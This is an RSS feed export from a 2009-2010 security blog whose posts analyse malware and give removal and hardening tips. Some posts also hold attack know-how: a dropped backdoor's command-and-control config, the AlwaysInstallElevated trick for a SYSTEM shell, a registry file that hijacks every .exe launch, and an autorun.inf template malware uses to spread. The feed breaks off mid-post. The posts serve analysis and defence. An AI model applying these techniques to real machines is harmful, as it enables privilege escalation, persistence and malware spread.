<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>GreyHatHacker.NET</title>
	<atom:link href="http://www.greyhathacker.net/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://www.greyhathacker.net</link>
	<description>Malware, Vulnerabilities, Exploits and more . . .</description>
	<lastBuildDate>Sat, 12 Jun 2010 00:52:36 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Adobe 0-day vulnerability embedded malware (CVE-2010-1297)</title>
		<link>http://www.greyhathacker.net/?p=201</link>
		<comments>http://www.greyhathacker.net/?p=201#comments</comments>
		<pubDate>Sat, 12 Jun 2010 00:52:36 +0000</pubDate>
		<dc:creator>Parvez</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Vulnerabilities]]></category>
		<category><![CDATA[Adobe]]></category>

		<guid isPermaLink="false">http://www.greyhathacker.net/?p=201</guid>
		<description><![CDATA[After a week of this 0-day vulnerability being reported a number of posts have been published over the last few days detailing the disassembled malicious flash (swf) file exposing the invalid byte triggering the vulnerability. The vulnerability is caused when handling a &#8220;newfunction&#8221; instruction by Adobe&#8217;s ActionScript Virtual Machine 2 (AVM2). The vulnerability lies in [...]]]></description>
			<content:encoded><![CDATA[<p>After a week of this 0-day vulnerability being reported a number of posts have been published over the last few days detailing the disassembled malicious flash (swf) file exposing the invalid byte triggering the vulnerability. The vulnerability is caused when handling a &#8220;newfunction&#8221; instruction by Adobe&#8217;s ActionScript Virtual Machine 2 (AVM2). The vulnerability lies in both Adobe Reader and Adobe Flash so either product is vulnerable to attack. This post Im focusing on the actual malware that gets dropped when a malicious pdf file is opened.</p>
<p>After the pdf file is opened the first thing it does is process the malformed flash file in the pdf file which triggers the vulnerability dropping an executable in the root.</p>
<p>C:\-.exe</p>
<p>This file has been embedded in the pdf file making it portable without depending on any external sites to download and execute the malware. Once the dropped executable gets executed and a further 3 more files gets dropped onto the system.</p>
<p>C:\WINDOWS\EventSystem.dll<br />
C:\WINDOWS\system32\es.ini<br />
C:\WINDOWS\system32\dllcache\qmgr.dll</p>
<p>The original qmgr.dll file located in C:\WINDOWS\system32\ gets renamed to kernel64.dll and a malicious qmgr.dll takes it place. Also the original qmgr.dll file located in C:\WINDOWS\ServicePackFiles\i386\ gets replaced with the malicious qmgr.dll. The file Eventsystem.dll is a copy of the malicious dll file qmgr.dll and the file es.ini is just ascii file contains the text below used by qmgr.dll</p>
<p>[qmgrConfig]<br />
ServerAddress=hxxp://210.211.31.214/ddradmin/ddrh.ashx<br />
SleepTime=1000     <br />
Guid=00000000-0000-0000-0000-000000000000</p>
<p>The final change to the system making sure the malware starts up everytime is changing the settings in a legitimate Windows service called “Background Intelligent Transfer Service&#8221; (BITS). By default the status is not started and startup type set to manual. This now becomes a started status with the startup type set to automatic. Thereafter when the system starts the service dll qmgr.dll gets loaded in memory when the BITS service is started.</p>
<p>Note that the time stamp has also been modified making it harder to trace if searching by date.</p>
<p><img class="alignnone" src="http://www.greyhathacker.net/images/qmgr.jpg" alt="" width="628" height="303" /></p>
<p>Adobe has now released an update for Adobe Flash 10.1.53.64 fixing the vulnerability. This resolves the issue if a swf file is opened via the web. For pdf files Adobe Reader update has not yet been released. One way to mitigate for now is to rename the following files:<br />
 <br />
C:\Program Files\Adobe\Reader 9.0\Reader\authplay.dll<br />
C:\Program Files\Adobe\Reader 9.0\Reader\rt3d.dll</p>
<p>This analysis had been done using Adobe Reader version 9.3.2 with a pdf file having a md5 hash value of 721601bdbec57cb103a9717eeef0bfca </p>
<p>References:</p>
<p><a href="http://secunia.com/advisories/40026/" target="_blank">http://secunia.com/advisories/40026/</a><br />
<a href="http://www.kb.cert.org/vuls/id/486225/" target="_blank">http://www.kb.cert.org/vuls/id/486225/</a><br />
<a href="http://www.adobe.com/support/security/bulletins/apsb10-14.html" target="_blank">http://www.adobe.com/support/security/bulletins/apsb10-14.html</a><br />
<a href="http://www.adobe.com/support/security/advisories/apsa10-01.html" target="_blank">http://www.adobe.com/support/security/advisories/apsa10-01.html</a><br />
<a href="http://www.symantec.com/connect/blogs/analysis-zero-day-exploit-adobe-flash-and-reader" target="_blank">http://www.symantec.com/connect/blogs/analysis-zero-day-exploit-adobe-flash-and-reader</a><br />
<a href="http://community.websense.com/blogs/securitylabs/archive/2010/06/09/having-fun-with-adobe-0-day-exploits.aspx" target="_blank">http://community.websense.com/blogs/securitylabs/archive/2010/06/09/having-fun-with-adobe-0-day-exploits.aspx</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.greyhathacker.net/?feed=rss2&amp;p=201</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fake Antivirus &#8220;Security Tool&#8221; terminating new processes</title>
		<link>http://www.greyhathacker.net/?p=191</link>
		<comments>http://www.greyhathacker.net/?p=191#comments</comments>
		<pubDate>Sun, 09 May 2010 22:21:35 +0000</pubDate>
		<dc:creator>Parvez</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[FakeAV]]></category>

		<guid isPermaLink="false">http://www.greyhathacker.net/?p=191</guid>
		<description><![CDATA[This fake antivirus software calling itself &#8220;Security Tool&#8221; intercepts binary files at the point of execution terminates it. Weather it be a bat, com or exe extension the fake av terminates them upon execution. This can be very frustrating when trying to remove this malware on a standalone machine. Fortunately not all processes get terminated; [...]]]></description>
			<content:encoded><![CDATA[<p>This fake antivirus software calling itself &#8220;Security Tool&#8221; intercepts binary files at the point of execution terminates it. Weather it be a bat, com or exe extension the fake av terminates them upon execution. This can be very frustrating when trying to remove this malware on a standalone machine. Fortunately not all processes get terminated; Internet Explorer (iexplore.exe) and Windows Explorer (explorer.exe) do load up so we can use these to our advantage. Our main goal would be to locate and remove this fake av software. Running explorer.exe from start..run will load up the explorer window and from there we can browse to well known locations where the fake av software usually gets dropped.</p>
<p>C:\WINDOWS\<br />
C:\WINDOWS\system32\<br />
C:\Documents and Settings\All Users\Application Data\<br />
C:\Documents and Settings\{username}\Application Data\<br />
C:\Documents and Settings\{username}\Local Settings\Application Data\</p>
<p>Look for unusual files or folders in these locations and if found then rename and reboot. If your pc boots up normally then go the folder which you renamed earlier and delete the malware. In this case this fake av software was called 29225727.exe and was located in</p>
<p>C:\Documents and Settings\{username}\Application Data\</p>
<p>Make sure in your folder options &#8220;Show hidden files and folders&#8221; is selected before browsing as it might have a hidden attribute set.</p>
<p><a href="http://www.greyhathacker.net/images/securitytool.jpg" target="_blank"><img class="alignnone" src="http://www.greyhathacker.net/images/securitytoolt.jpg" alt="" width="560" height="420" /></a></p>
<p>Another way you can locate the malware is by searching for the file through Windows Explorer. You can search for files for a certain date, for only exe&#8217;s, etc. To get an idea on what the executable file might be called you can browse to the C:\WINDOWS\Prefetch\ folder and see last few files written and search for those executables.</p>
<p>Finally another way is by right-clicking on the shortcut from start..programs..Security Tool menu (if exists) and take note of the path then just go to the path, rename and reboot.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.greyhathacker.net/?feed=rss2&amp;p=191</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Abusing MSI&#8217;s elevated privileges</title>
		<link>http://www.greyhathacker.net/?p=185</link>
		<comments>http://www.greyhathacker.net/?p=185#comments</comments>
		<pubDate>Thu, 18 Mar 2010 22:56:06 +0000</pubDate>
		<dc:creator>Parvez</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Elevate]]></category>
		<category><![CDATA[MSI]]></category>

		<guid isPermaLink="false">http://www.greyhathacker.net/?p=185</guid>
		<description><![CDATA[Microsoft Windows operating systems come installed with a Windows Installer engine which is used by MSI packages for installation. One of the powerful features is that MSI packages can be installed with elevated privileges for non-admin users. For a package to use elevated privileges the a registry name &#8220;AlwaysInstallElevated&#8221; must exist in both keys with [...]]]></description>
			<content:encoded><![CDATA[<p>Microsoft Windows operating systems come installed with a Windows Installer engine which is used by MSI packages for installation. One of the powerful features is that MSI packages can be installed with elevated privileges for non-admin users. For a package to use elevated privileges the a registry name &#8220;AlwaysInstallElevated&#8221; must exist in both keys with a dword value of 1.</p>
<p>[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer]<br />
&#8220;AlwaysInstallElevated&#8221;=dword:00000001</p>
<p>[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]<br />
&#8220;AlwaysInstallElevated&#8221;=dword:00000001</p>
<p>These settings normally do not exist so must be present to begin with in order to be abused. AD administrators may have enabled these settings allowing users the ability to manually install packages requiring higher privileges while keeping the user rights as non-admin. MSI packages deployed via group policy do not depend on these local registry settings to be present as these packages get deployed with elevated privileges. If manual installation is not required by users then it is safe to change these registry values to 0.</p>
<p>If you do find your corporate pc with these values enabled and do not have local admin rights then it’s just a matter of building your own MSI package and telling it what to do. In the screenshot below I developed a proof of concept tool which shows checking the key values, installing the MSI package which installs a Windows service spawning a local system command shell and finally removing the package.</p>
<p><img class="alignnone" src="http://www.greyhathacker.net/images/elevate.jpg" alt="" width="536" height="622" /></p>
<p>If you are thinking of building an MSI package or any MSI package for that matter I would recommend purchasing &#8220;Advanced Installer&#8221; by Caphyon. It is a well designed professional software and has all the features you need.</p>
<p><img class="alignnone" src="http://www.greyhathacker.net/images/installer.jpg" alt="" width="605" height="609" /></p>
<p>References:</p>
<p><a href="http://www.advancedinstaller.com" target="_blank">http://www.advancedinstaller.com</a><br />
<a href="http://msdn.microsoft.com/en-us/library/aa367561(VS.85).aspx" target="_blank">http://msdn.microsoft.com/en-us/library/aa367561(VS.85).aspx</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.greyhathacker.net/?feed=rss2&amp;p=185</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fake Antivirus &#8220;XP Guardian 2010&#8243; exe hijacking</title>
		<link>http://www.greyhathacker.net/?p=142</link>
		<comments>http://www.greyhathacker.net/?p=142#comments</comments>
		<pubDate>Sun, 07 Mar 2010 22:59:46 +0000</pubDate>
		<dc:creator>Parvez</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[FakeAV]]></category>

		<guid isPermaLink="false">http://www.greyhathacker.net/?p=142</guid>
		<description><![CDATA[Another fake antivirus software calling itself &#8220;XP Guardian 2010&#8243; is doing its rounds displaying bogus pop-ups and fake scans enticing you to buy its product. What is interesting about this malware is that this one changes the machine exe associations in the Windows registry. When any executable with an exe extension is manually or automatically [...]]]></description>
			<content:encoded><![CDATA[<p>Another fake antivirus software calling itself &#8220;XP Guardian 2010&#8243; is doing its rounds displaying bogus pop-ups and fake scans enticing you to buy its product. What is interesting about this malware is that this one changes the machine exe associations in the Windows registry. When any executable with an exe extension is manually or automatically run this malware is loaded first which then calls the original executable.</p>
<p><img class="alignnone" src="http://www.greyhathacker.net/images/xpguardian.jpg" alt="" width="600" height="423" /></p>
<p>When an executable is first run it checks various entries in the registry before loading the program. Once a machine has been infected by this malware the call is hijacked to first load the fake antivirus set in the registry</p>
<p>C:\Documents and Settings\{username}\Local Settings\Application Data\av.exe&#8221; /START &#8220;%1&#8243; %*&#8221;</p>
<p>Here the malware av.exe is run followed by the actual executable. The malware has been developed to call the real program after its own program has loaded.</p>
<p><img class="alignnone" src="http://www.greyhathacker.net/images/fakeavreg.jpg" alt="" width="635" height="248" /></p>
<p>Another interesting entry in the registry made by the malware is when an executable is called Windows checks another location in the registry. This entry is not available in HKEY_CURRENT_USER but even if it was the value would have been exefile and not secfile. So what happens is Windows now checks the .exe key and sees secfile value, this points to the secfile key where is sees Application value which finally points to the exefile key in HKEY_LOCAL_MACHINE.</p>
<p>[HKEY_CURRENT_USER\Software\Classes\.exe]<br />
@=&#8221;secfile&#8221;</p>
<p>points to . . .<br />
           <br />
[HKEY_CURRENT_USER\Software\Classes\secfile]<br />
@=&#8221;Application&#8221;</p>
<p>which points to . . .</p>
<p>[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile]<br />
@=&#8221;Application&#8221;</p>
<p>So in the future if you think your exe association has been hijacked first area to check the .exe key in the registry and go from there. On a Windows XP machine by default HKEY_CURRENT_USER will not have an .exe key and only the values below in the HKEY_LOCAL_MACHINE .exe key.</p>
<p>[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.exe]<br />
@=&#8221;exefile&#8221;<br />
&#8220;Content Type&#8221;=&#8221;application/x-msdownload&#8221;</p>
<p>[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.exe\PersistentHandler]<br />
@=&#8221;{098f2470-bae0-11cd-b579-08002b30bfeb}&#8221;</p>
<p>If you want to test exe hijacking you can save the following lines below in reg file and import it. From their on any executable run will load up Windows Calculator. Once testing is finished you can simply delete the .exe key in HKEY_CURRENT_USER. The same applies in the HKEY_LOCAL_MACHINE but here you cannot delete the .exe key. So if you want to test using HKEY_LOCAL_MACHINE I recommend you backup the .exe key first.</p>
<p>Windows Registry Editor Version 5.00</p>
<p>[HKEY_CURRENT_USER\Software\Classes\.exe]<br />
@=&#8221;anything&#8221;<br />
[HKEY_CURRENT_USER\Software\Classes\.exe\shell]<br />
[HKEY_CURRENT_USER\Software\Classes\.exe\shell\open]<br />
[HKEY_CURRENT_USER\Software\Classes\.exe\shell\open\command]<br />
@=&#8221;\&#8221;C:\\windows\\system32\\calc.exe\&#8221;"</p>
<p>Reference:</p>
<p><a href="http://www.threatexpert.com/report.aspx?md5=6472e446c64a34edf7fe4ae8270e6faf" target="_blank">http://www.threatexpert.com/report.aspx?md5=6472e446c64a34edf7fe4ae8270e6faf</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.greyhathacker.net/?feed=rss2&amp;p=142</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Protecting the Autorun.inf file from malware</title>
		<link>http://www.greyhathacker.net/?p=120</link>
		<comments>http://www.greyhathacker.net/?p=120#comments</comments>
		<pubDate>Sun, 21 Feb 2010 17:54:28 +0000</pubDate>
		<dc:creator>Parvez</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Autorun]]></category>

		<guid isPermaLink="false">http://www.greyhathacker.net/?p=120</guid>
		<description><![CDATA[An article was posted last year on milw0rm.com by Robin Bailey mentioning how to prevent the spread of USB malware by protecting the autorun.inf file. In one of my previous posts I mentioned how plugging in an infected USB key infects the host machine and I advised how to protect machines from automatically loading programs [...]]]></description>
			<content:encoded><![CDATA[<p>An article was posted last year on milw0rm.com by Robin Bailey mentioning how to prevent the spread of USB malware by protecting the autorun.inf file. In one of my previous posts I mentioned how plugging in an infected USB key infects the host machine and I advised how to protect machines from automatically loading programs from USB keys. This post mentions how to protect the USB key from an infected machine.</p>
<p>Malware infects USB keys by normally dropping its malware on the key along with an autorun.inf file. This autorun.inf file is read by the Windows operating system when plugged into a machine which in turn loads up the malware. Our goal would be to make the USB key read only in particular the autorun.inf file thus protecting the file from being modified by malware. Purchasing USB keys with a read only switch will do the trick but is hard to find these devices on the market. Another approach would be to use SD cards which come with read only switch along with an SD reader would serve its purpose. But having read only USB keys has its drawbacks in that in order for us to write to it we have to remove the read only protection and putting the device at risk of being infected.</p>
<p>Along comes Robin&#8217;s idea which works brilliantly. He mentioned how to only lock the autorun.inf file from being modified, deleted, opened, overwritten or the file attributes changed. The idea works by modified the file attribute on the disk level using a disk hex editor.</p>
<p>First we create a blank autorun.inf on the USB key. Even we wanted to load up our own programs via autorun.inf it will not be possible as once the change is done to disk the autorun.inf file cannot be even opened for it to load so therefore best to just keep it blank.</p>
<p>Next we use our disk hex editor to open up our USB device in read and write mode. Its best to make sure the USB key is blank or data backed up before editing the disk. We then search the disk for the string &#8220;autorun&#8221; in non-unicode form.</p>
<p>41  55  54  4F  52  55  4E  20 49 4E 46 20<br />
A   U   T   O    R   U    N         I    N    F  </p>
<p>The last byte we are only interested in and will need to be changed. The current value of the byte is 0&#215;20 has the archive bit set. We change this byte to 0&#215;40, which sets the device bit, which is never normally found on a disk. We save our changes and exit out of our hex editor.</p>
<p><img class="alignnone" src="http://www.greyhathacker.net/images/autorunlock.jpg" alt="" width="619" height="209" /></p>
<p>41  55  54  4F  52  55  4E  20 49 4E 46 40<br />
A   U   T   O    R   U    N         I    N    F   @</p>
<p>Finally to test to see if our autorun.inf is protected we try to delete the file where then it will popup with an error.</p>
<p><img class="alignnone" src="http://www.greyhathacker.net/images/autorundel.jpg" alt="" width="302" height="139" /></p>
<p>Reference:</p>
<p><a href="http://www.milw0rm.com/papers/314" target="_blank">http://www.milw0rm.com/papers/314</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.greyhathacker.net/?feed=rss2&amp;p=120</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Hiding Browser Helper Objects</title>
		<link>http://www.greyhathacker.net/?p=106</link>
		<comments>http://www.greyhathacker.net/?p=106#comments</comments>
		<pubDate>Sun, 27 Dec 2009 18:03:33 +0000</pubDate>
		<dc:creator>Parvez</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[BHO]]></category>
		<category><![CDATA[Hidden]]></category>

		<guid isPermaLink="false">http://www.greyhathacker.net/?p=106</guid>
		<description><![CDATA[A Browser Helper Object or BHO is a DLL module designed as an add-on for Microsoft&#8217;s Internet Explorer web browser to provide added functionality. When a BHO is installed on your system the add-on loads up automatically every time Internet Explorer is started. Hackers have been abusing this functionality by installing malicious BHOs stealing user&#8217;s [...]]]></description>
			<content:encoded><![CDATA[<p>A Browser Helper Object or BHO is a DLL module designed as an add-on for Microsoft&#8217;s Internet Explorer web browser to provide added functionality. When a BHO is installed on your system the add-on loads up automatically every time Internet Explorer is started. Hackers have been abusing this functionality by installing malicious BHOs stealing user&#8217;s online banking passwords and carrying out all sorts of other malicious activities.</p>
<p>While analysing a particular malware &#8220;convite.exe&#8221; which is detected by McAfee as &#8220;PWS-Banker!dtl&#8221; I noticed something quite interesting and therefore decided to post my findings. Among the various files being dropped by the malware one file was of particular interest called &#8220;flashcpx.dll&#8221; which gets installed as a BHO.</p>
<p>When a BHO gets registered onto the system it adds various keys in the registry. When Internet Explorer starts up it reads the registry location below telling Internet Explorer which BHOs it needs to load up. Let’s look at an example of Adobe&#8217;s BHO installed on my machine &#8220;AcroIEHelperShim.dll&#8221;.</p>
<p>[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects]<br />
{18DF081C-E8AD-4283-A596-FA578C2EBDC3}</p>
<p>In this key location lists 16-byte CLSID strings for the BHOs. Using this string it then points to another location in the registry telling Internet Explorer which DLL module to load up.<br />
 <br />
[HKLM\SOFTWARE\Classes\CLSID\{18DF081C-E8AD-4283-A596-FA578C2EBDC3}\InprocServer32]<br />
C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEHelperShim.dll</p>
<p>Now when the malicious &#8220;flashcpx.dll&#8221; BHO gets installed it does something clever to hide its presence yet still manage to load up. As you can see below the CLSID string is longer than usual. The added characters cause most tools not to list out the BHO even though Internet Explorer loads it up.</p>
<p>[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects]<br />
{399BFACE-3ADA-4DAE-80D8-E221812243A9}80D8-E221812243A9}</p>
<p><img class="alignnone" src="http://www.greyhathacker.net/images/bhoreg2.jpg" alt="" width="606" height="253" /></p>
<p>When Internet Explorer loads up the BHO the browser only reads 16-byte CLSID format {399BFACE-3ADA-4DAE-80D8-E221812243A9} and then loads up the BHO via the normal process. So any added characters are ignored by Internet Explorer.</p>
<p>[HKLM\SOFTWARE\Classes\CLSID\{399BFACE-3ADA-4DAE-80D8-E221812243A9}\InprocServer32]<br />
C:\WINDOWS\system32\flashcpx.dll</p>
<p><img class="alignnone" src="http://www.greyhathacker.net/images/bhoreg1.jpg" alt="" width="606" height="253" /></p>
<p>For example, if we wanted to see what BHO are installed we can use Internet Explorer&#8217;s Manage Add-ons or use SysInternals Autoruns.exe. Both do not show the malicious BHO installed as these tools reads the entire string instead of the 16-byte CLSID format which Internet Explorer does do.</p>
<p><img class="alignnone" src="http://www.greyhathacker.net/images/bhoautoruns.jpg" alt="" width="636" height="310" /></p>
<p><a href="http://www.greyhathacker.net/images/bhoautoruns.jpg"></a></p>
<p><a href="http://www.greyhathacker.net/images/bhoie.jpg"></a></p>
<p><img class="alignnone" src="http://www.greyhathacker.net/images/bhoie.jpg" alt="" width="454" height="426" /></p>
<p>Since the string is longer than recommended when it goes to find the CLSID key in [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID] the key is not found and therefore the DLL module does not get listed. Quite odd that “manage add-ons” is part of Internet Explorer but does not list it yet happy to load up the BHO <img src='http://www.greyhathacker.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>Reference:</p>
<p><a href="http://www.threatexpert.com/report.aspx?md5=3765371819c1195f3cdbb255f4442e1e" target="_blank">http://www.threatexpert.com/report.aspx?md5=3765371819c1195f3cdbb255f4442e1e</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.greyhathacker.net/?feed=rss2&amp;p=106</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Symantec Quarantine Console fails to connect remotely</title>
		<link>http://www.greyhathacker.net/?p=76</link>
		<comments>http://www.greyhathacker.net/?p=76#comments</comments>
		<pubDate>Mon, 14 Sep 2009 18:07:38 +0000</pubDate>
		<dc:creator>Parvez</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Bugs]]></category>
		<category><![CDATA[Symantec]]></category>

		<guid isPermaLink="false">http://www.greyhathacker.net/?p=76</guid>
		<description><![CDATA[Last month I encountered an issue trying to remotely connect to Symantec&#8217;s Quarantine Server from a client machine after installing Symantec&#8217;s Quarantine Console. I was a bit baffled as to why this didnt work. Previously an older version did which I had used some time back and this current version 3.5 did not. I noticed [...]]]></description>
			<content:encoded><![CDATA[<p>Last month I encountered an issue trying to remotely connect to Symantec&#8217;s Quarantine Server from a client machine after installing Symantec&#8217;s Quarantine Console. I was a bit baffled as to why this didnt work. Previously an older version did which I had used some time back and this current version 3.5 did not. I noticed that there was no issue when installed and run from the quarantine server itself.</p>
<p>Reading the following responses from Symantec mentioned in the references below was not helpful at all so I thought I&#8217;d tackle the problem myself. When trying to authenticate remotely to the Quarantine server it throws back this error:</p>
<p>&#8220;Cannot connect to server [name].  Make sure the Quarantine Server is installed on the specified machine, and that the user information is correct.&#8221; </p>
<p><img class="alignnone" title="SepConsoleError" src="http://www.greyhathacker.net/images/sepconsoleerr.jpg" alt="" width="428" height="168" /></p>
<p>After investigating the issue I discovered that the DLL file qserverps.dll had not been registered. This file is located in the default console folder C:\Program Files\Symantec\Quarantine\Console</p>
<p>The solution is to just register the file as shown below:</p>
<p>C:\Program Files\Symantec\Quarantine\Console&gt;regsvr32 qserverps.dll</p>
<p><img class="alignnone" title="SepConSucc" src="http://www.greyhathacker.net/images/sepconsucc.jpg" alt="" width="339" height="136" /></p>
<p>This DLL file qserverps.dll is also used by the Quarantine server in its own folder which does get registered. This explains why the console works when run on the server as it uses the same file.</p>
<p>References:</p>
<p><a href="http://www.symantec.com/connect/forums/central-quarantine-serverconsole-issue" target="_blank">http://www.symantec.com/connect/forums/central-quarantine-serverconsole-issue</a><br />
<a href="http://service1.symantec.com/SUPPORT/ent-security.nsf/ppfdocs/2003111015491948?Open&amp;dtype=corp&amp;src=&amp;seg=&amp;om=1&amp;om_out=prod" target="_blank">http://service1.symantec.com/SUPPORT/ent-security.nsf/ppfdocs/2003111015491948?Open&amp;dtype=corp&amp;src=&amp;seg=&amp;om=1&amp;om_out=prod</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.greyhathacker.net/?feed=rss2&amp;p=76</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hidden files and extensions</title>
		<link>http://www.greyhathacker.net/?p=72</link>
		<comments>http://www.greyhathacker.net/?p=72#comments</comments>
		<pubDate>Mon, 04 May 2009 12:20:49 +0000</pubDate>
		<dc:creator>Parvez</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Hidden]]></category>
		<category><![CDATA[pif]]></category>

		<guid isPermaLink="false">http://www.greyhathacker.net/?p=72</guid>
		<description><![CDATA[Making hidden files visible can sometimes be not as straight forward as expected and can be a bit confusing at times. Malicious files quite often have their file attributes modified making it harder to detect. You might encounter files with the system, read only and hidden attributes set. When system and hidden attributes has been [...]]]></description>
			<content:encoded><![CDATA[<p>Making hidden files visible can sometimes be not as straight forward as expected and can be a bit confusing at times. Malicious files quite often have their file attributes modified making it harder to detect. You might encounter files with the system, read only and hidden attributes set. When system and hidden attributes has been set then these will need to be reset first otherwise resetting other attributes will fail. Windows Attrib command can be used to reset files as shown below. Using attrib with all the switches is the best way resetting a file and avoiding any errors.</p>
<p>C:\&gt;attrib virus.exe<br />
SHR C:\virus.exe</p>
<p>C:\&gt;attrib -h -r virus.exe<br />
Not resetting system file &#8211; C:\virus.exe</p>
<p>C:\&gt;attrib -s -r virus.exe<br />
Not resetting hidden file &#8211; C:\virus.exe</p>
<p>C:\&gt;attrib -h -s -r virus.exe</p>
<p>C:\&gt;attrib virus.exe<br />
C:\virus.exe</p>
<p>Windows by default hides known file type extensions. For us to view all extensions we need to make a couple to changes to our system. In Windows 2000/XP, we need to open Windows Explorer and select &#8220;Tools&#8221;&#8230; &#8220;Folder Options&#8221;. Next click the &#8220;View&#8221; tab, select &#8220;Show hidden files and folders&#8221; and also untick &#8220;Hide file extensions for known file types&#8221;. Once applied all extensions will now be visible. There are still some extensions which will not be visible so changes will need to be made in the registry. For example the PIF file is one such extension. A PIF file is basically designed to hold information that will help an MS-DOS application know how to run in a Windows environment. Virus writers sometimes rename an executable file with a PIF extension. For example virus.exe could be renamed to virus.txt.pif. Since it ends in a PIF extension it will not be visible to the user and only virus.txt will be displayed fooling the user as being a text file.</p>
<p>In order to display the PIF extension we need to go into the registry and drill down to HKEY_LOCAL_MACHINE\SOFTWARE\Classes\piffile and delete the &#8220;NeverShowExt&#8221; entry. Once deleted you will need the system to be rebooted to take effect.</p>
<p>The text below can also be saved as a reg file and imported by double-clicking on it without carrying out the above manual instructions.</p>
<p>REGEDIT4<br />
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\piffile]<br />
&#8220;NeverShowExt&#8221;=-</p>
<p>Reference:</p>
<p><a href="http://www.pctools.com/guides/registry/detail/627/" target="_blank">http://www.pctools.com/guides/registry/detail/627/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.greyhathacker.net/?feed=rss2&amp;p=72</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ways to AutoRun in Windows</title>
		<link>http://www.greyhathacker.net/?p=68</link>
		<comments>http://www.greyhathacker.net/?p=68#comments</comments>
		<pubDate>Tue, 07 Apr 2009 12:20:49 +0000</pubDate>
		<dc:creator>Parvez</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Autorun]]></category>

		<guid isPermaLink="false">http://www.greyhathacker.net/?p=68</guid>
		<description><![CDATA[Windows operating system has a number of ways on how to automatically run programs with a little user intervention. The &#8220;Conficker&#8221; worm uses a number of techniques for propagation, one such technique is the use of removable storage devices such as usb keys. Conficker was not the first to use this technique as the &#8220;Sality&#8221; [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.greyhathacker.net/images/autorun.jpg"></a>Windows operating system has a number of ways on how to automatically run programs with a little user intervention. The &#8220;Conficker&#8221; worm uses a number of techniques for propagation, one such technique is the use of removable storage devices such as usb keys. Conficker was not the first to use this technique as the &#8220;Sality&#8221; virus has been seen to use the autorun feature around a year ago.</p>
<p>Looking into the autorun.inf file of an infected usb key by the Sality virus shows that is uses a number of commands to execute the same virus. The code below has been cleaned up and modified with comments but basically it uses four methods to execute the same malware.</p>
<p>[AutoRun]</p>
<p>; right-click &#8220;Open&#8221; {double-clicking on drive also opens program1.exe}<br />
shell\open\command = program1.exe<br />
shell\open\default=1</p>
<p>; right-click &#8220;AutoPlay&#8221;<br />
shell\autoplay\command = program2.exe</p>
<p>; right-click &#8220;Install or run program&#8221;<br />
open = program3.exe</p>
<p>; right-click &#8220;Explore&#8221;<br />
shell\explore\command = program4.exe</p>
<p>The diagram below taken from Windows Vista points out the menu commands which runs the relevant program.</p>
<p><a href="http://www.greyhathacker.net/images/autorun.jpg" target="_blank"><img class="alignnone" title="AutoRun" src="http://www.greyhathacker.net/images/autorunt.jpg" alt="" width="400" height="299" /></a></p>
<p>Conficker uses the shellexecute command in the autorun.inf file as shown in the example below:</p>
<p>shellexecute = program5.exe</p>
<p>CERT issued an advisory mentioning how to mitigate autorun functionality completely by adding a registry entry as shown below. This text can be saved as a reg file and imported just by double-clicking on it.</p>
<p>REGEDIT4<br />
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\Autorun.inf]<br />
